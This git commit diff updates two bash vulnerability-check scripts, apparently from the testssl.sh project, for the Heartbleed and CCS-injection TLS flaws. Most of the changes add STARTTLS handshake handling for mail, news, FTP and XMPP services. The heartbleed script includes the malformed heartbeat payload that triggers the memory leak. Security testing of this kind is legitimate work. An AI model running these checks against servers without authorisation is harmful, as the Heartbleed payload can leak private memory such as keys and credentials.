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* protocol checks work now!

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* generic jabber support now!
* jabber domain support
This commit is contained in:
Dirk Wetter 2015-07-06 22:04:07 +02:00
parent 9857d42920
commit 5fe9cf7d7e
2 changed files with 156 additions and 47 deletions
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110
utils/ccs-injection.bash
View File

@ -8,6 +8,8 @@
# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 # mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
# thx Ramon de C Valle # thx Ramon de C Valle
# #
# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
@ -17,6 +19,7 @@ trap "cleanup" QUIT EXIT
NODE="$1" NODE="$1"
PORT="443" PORT="443"
JABBERNODE=${JABBERNODE}
SLEEP=2 SLEEP=2
MAXSLEEP=10 MAXSLEEP=10
OCKREPLY="" OCKREPLY=""
@ -115,6 +118,11 @@ parse_hn_port() {
echo -e "\n===> connecting to $NODE:$PORT\n" echo -e "\n===> connecting to $NODE:$PORT\n"
} }
debugme() {
[[ $DEBUG -ge 2 ]] && "$@"
}
wait_kill(){ wait_kill(){
pid=$1 pid=$1
maxsleep=$2 maxsleep=$2
@ -132,6 +140,13 @@ wait_kill(){
} }
starttls_just_read(){
echo "=== just read banner ==="
cat <&5 &
wait_kill $! $SLEEP
}
socksend() { socksend() {
data=`echo $1` data=`echo $1`
echo "\"$data\"" echo "\"$data\""
@ -154,12 +169,41 @@ sockread() {
} }
# arg1: string to send # arg1: string to send
# arg2: success string, yet to be parsed # arg2: possible success strings a egrep pattern, needed!
starttls_line0() { starttls_line0() {
echo "$1" >&5 reply=$(mktemp /tmp/reply.XXXXXX) || return 7
cat <&5 &
debugme echo -e "\n=== sending \"$1\" ..."
echo -e "$1" >&5
dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
wait_kill $! $SLEEP wait_kill $! $SLEEP
#[ $? -eq 3 ] && fixme "STARTTLS timed out" && exit 1 debugme echo "... received result: "
cat $reply
if [ -n "$2" ]; then
if egrep -q "$2" $reply; then
debugme echo "---> reply matched \"$2\""
[ $DEBUG -eq 0 ] && rm $reply
return 0
else
debugme echo "---> reply didn't match \"$2\", see $reply"
fixme "STARTTLS handshake problem"
exit 1
fi
fi
}
starttls_line1() {
echo "$1" >&5
while true; do
read line <&5
echo $line
break
done
}
fixme(){
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
} }
@ -171,6 +215,8 @@ ok_ids() {
} }
fd_socket(){ fd_socket(){
local jabber=""
if ! exec 5<> /dev/tcp/$NODE/$PORT; then if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT" echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2 exit 2
@ -178,41 +224,65 @@ fd_socket(){
case "$1" in # port case "$1" in # port
21) # https://tools.ietf.org/html/rfc4217 21) # https://tools.ietf.org/html/rfc4217
starttls_line0 "FEAT" starttls_just_read
starttls_line0 "AUTH TLS" starttls_line0 "FEAT" "211"
#starttls_line0 HELP "214"
starttls_line0 "AUTH TLS" "successful|234"
;; ;;
25) #https://tools.ietf.org/html/rfc4217 25) # SMTP, see https://tools.ietf.org/html/rfc4217
starttls_line0 "EHLO testssl.sh" "250" starttls_just_read
starttls_line0 "EHLO testssl.sh" "220|250"
starttls_line0 "STARTTLS" "220" starttls_line0 "STARTTLS" "220"
;; ;;
110) # https://tools.ietf.org/html/rfc2595 110) # POP, see https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "STLS" "OK" starttls_line0 "STLS" "OK"
;; ;;
119|433) # https://tools.ietf.org/html/rfc4642 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
starttls_line0 "CAPABILITIES" "101" starttls_just_read
starttls_line0 "CAPABILITIES" "101|200"
starttls_line0 "STARTTLS" "382" starttls_line0 "STARTTLS" "382"
;; ;;
143) # https://tools.ietf.org/html/rfc2595 143) # IMAP, https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "a001 CAPABILITY" "OK" starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK" starttls_line0 "a002 STARTTLS" "OK"
;; ;;
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented" fixme "LDAP: FIXME not yet implemented"
exit 1 exit 1
;; ;;
674) # https://tools.ietf.org/html/rfc2595 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented" fixme "ACAP: FIXME not yet implemented"
exit 1 exit 1
;; ;;
5222) 5222) # XMPP, see https://tools.ietf.org/html/rfc6120
starttls_just_read
# following would be without hostname, jabber.org doesn't need it, others do!
#starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
[ -z $JABBERNODE ] && JABBERNODE="$NODE"
# as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
# supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
jabber=$(cat <<EOF
<?xml version='1.0' ?>
<stream:stream
xmlns:stream='http://etherx.jabber.org/streams'
xmlns='jabber:client'
to='$JABBERNODE'
xml:lang='en'
version='1.0'>
EOF
)
starttls_line0 "$jabber"
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed" starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
fixme "XMPP: FIXME not yet implemented" # BTW: https://xmpp.net !
;; ;;
443|995|993|465|*) # we don't need a special command here 443|995|993|465|*) # we don't need a special pre-command here
;; ;;
esac esac
echo echo
} }
close_socket(){ close_socket(){
exec 5<&- exec 5<&-
@ -282,4 +352,4 @@ echo
exit $ret exit $ret
# vim:tw=100:ts=5:sw=5:expandtab # vim:tw=100:ts=5:sw=5:expandtab
# $Id: ccs-injection.bash,v 1.7 2015/07/01 17:48:00 dirkw Exp $ # $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $

93
utils/heartbleed.bash
View File

@ -6,6 +6,8 @@
# sockets inspired by http://blog.chris007.de/?p=238 # sockets inspired by http://blog.chris007.de/?p=238
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280 # heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
# #
# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
@ -15,14 +17,17 @@ trap "cleanup" QUIT EXIT
NODE="$1" NODE="$1"
PORT="443" PORT="443"
JABBERNODE=${JABBERNODE}
SLEEP=2 SLEEP=2
MAXSLEEP=10 MAXSLEEP=10
SOCKREPLY="" SOCKREPLY=""
COL_WIDTH=32 COL_WIDTH=32
DEBUG=${DEBUG:-0}
# TLS 1.0=x01 1.1=0x02, 1.2=0x3 # TLS 1.0=x01 1.1=0x02, 1.2=0x3
TLSV=${2:-01} TLSV=${2:-01}
heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
## ^^^^^^^ this is the whole thing! ## ^^^^^^^ this is the whole thing!
@ -90,6 +95,11 @@ parse_hn_port() {
echo -e "\n===> connecting to $NODE:$PORT\n" echo -e "\n===> connecting to $NODE:$PORT\n"
} }
debugme() {
[[ $DEBUG -ge 2 ]] && "$@"
}
wait_kill(){ wait_kill(){
pid=$1 pid=$1
maxsleep=$2 maxsleep=$2
@ -124,33 +134,37 @@ sockread() {
wait_kill $! $maxsleep wait_kill $! $maxsleep
ret=$? ret=$?
SOCKREPLY=$(cat $ddreply) SOCKREPLY=$(cat $ddreply)
rm $ddreply [ $DEBUG -eq 0 ] && rm $ddreply
return $ret return $ret
} }
# arg1: string to send
# arg2: success string, yet to be parsed starttls_just_read(){
starttls_line0() { echo "=== just read banner ==="
echo "$1" >&5
cat <&5 & cat <&5 &
wait_kill $! $SLEEP wait_kill $! $SLEEP
#[ $? -eq 3 ] && fixme "STARTTLS timed out" && exit 1
} }
starttls_line2() { # arg1: string to send
# arg2: possible success strings a egrep pattern, needed!
starttls_line0() {
reply=$(mktemp /tmp/reply.XXXXXX) || return 7 reply=$(mktemp /tmp/reply.XXXXXX) || return 7
echo "$1" >&5
dd bs=1024 of=$reply count=1 <&5 2>/dev/null & debugme echo -e "\n=== sending \"$1\" ..."
echo -e "$1" >&5
dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
wait_kill $! $SLEEP wait_kill $! $SLEEP
debugme echo "... received result: "
cat $reply cat $reply
return 0
if [ -n "$2" ]; then if [ -n "$2" ]; then
if grep -q "$2" $reply; then if egrep -q "$2" $reply; then
debugme echo "---> reply matched \"$2\""
[ $DEBUG -eq 0 ] && rm $reply
return 0 return 0
else else
debugme echo "---> reply didn't match \"$2\", see $reply"
fixme "STARTTLS handshake problem" fixme "STARTTLS handshake problem"
#FIXME: handshake antworten kommen irgendwie 1x verzeogert
exit 1 exit 1
fi fi
fi fi
@ -171,6 +185,8 @@ fixme(){
fd_socket(){ fd_socket(){
local jabber=""
if ! exec 5<> /dev/tcp/$NODE/$PORT; then if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT" echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2 exit 2
@ -178,37 +194,60 @@ fd_socket(){
case "$1" in # port case "$1" in # port
21) # https://tools.ietf.org/html/rfc4217 21) # https://tools.ietf.org/html/rfc4217
starttls_line0 "FEAT" starttls_just_read
starttls_line0 "AUTH TLS" "successful" starttls_line0 "FEAT" "211"
#starttls_line0 HELP "214"
starttls_line0 "AUTH TLS" "successful|234"
;; ;;
25) #https://tools.ietf.org/html/rfc4217 25) # SMTP, see https://tools.ietf.org/html/rfc4217
starttls_line0 "EHLO testssl.sh" "250" starttls_just_read
starttls_line0 "EHLO testssl.sh" "220|250"
starttls_line0 "STARTTLS" "220" starttls_line0 "STARTTLS" "220"
;; ;;
110) # https://tools.ietf.org/html/rfc2595 110) # POP, see https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "STLS" "OK" starttls_line0 "STLS" "OK"
;; ;;
119|433) # https://tools.ietf.org/html/rfc4642 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
starttls_line0 "CAPABILITIES" "101" starttls_just_read
starttls_line0 "CAPABILITIES" "101|200"
starttls_line0 "STARTTLS" "382" starttls_line0 "STARTTLS" "382"
;; ;;
143) # https://tools.ietf.org/html/rfc2595 143) # IMAP, https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "a001 CAPABILITY" "OK" starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK" starttls_line0 "a002 STARTTLS" "OK"
;; ;;
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented" fixme "LDAP: FIXME not yet implemented"
exit 1 exit 1
;; ;;
674) # https://tools.ietf.org/html/rfc2595 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented" fixme "ACAP: FIXME not yet implemented"
exit 1 exit 1
;; ;;
5222) 5222) # XMPP, see https://tools.ietf.org/html/rfc6120
starttls_just_read
# following would be without hostname, jabber.org doesn't need it, others do!
#starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
[ -z $JABBERNODE ] && JABBERNODE="$NODE"
# as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
# supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
jabber=$(cat <<EOF
<?xml version='1.0' ?>
<stream:stream
xmlns:stream='http://etherx.jabber.org/streams'
xmlns='jabber:client'
to='$JABBERNODE'
xml:lang='en'
version='1.0'>
EOF
)
starttls_line0 "$jabber"
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed" starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
fixme "XMPP: FIXME not yet implemented" # BTW: https://xmpp.net !
;; ;;
443|995|993|465|*) # we don't need a special command here 443|995|993|465|*) # we don't need a special pre-command here
;; ;;
esac esac
echo echo
@ -263,5 +302,5 @@ echo
exit $ret exit $ret
# vim:tw=100:ts=5:sw=5:expandtab # vim:tw=200:ts=5:sw=5:expandtab
# $Id: heartbleed.bash,v 1.12 2015/07/01 11:26:10 dirkw Exp $ # $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $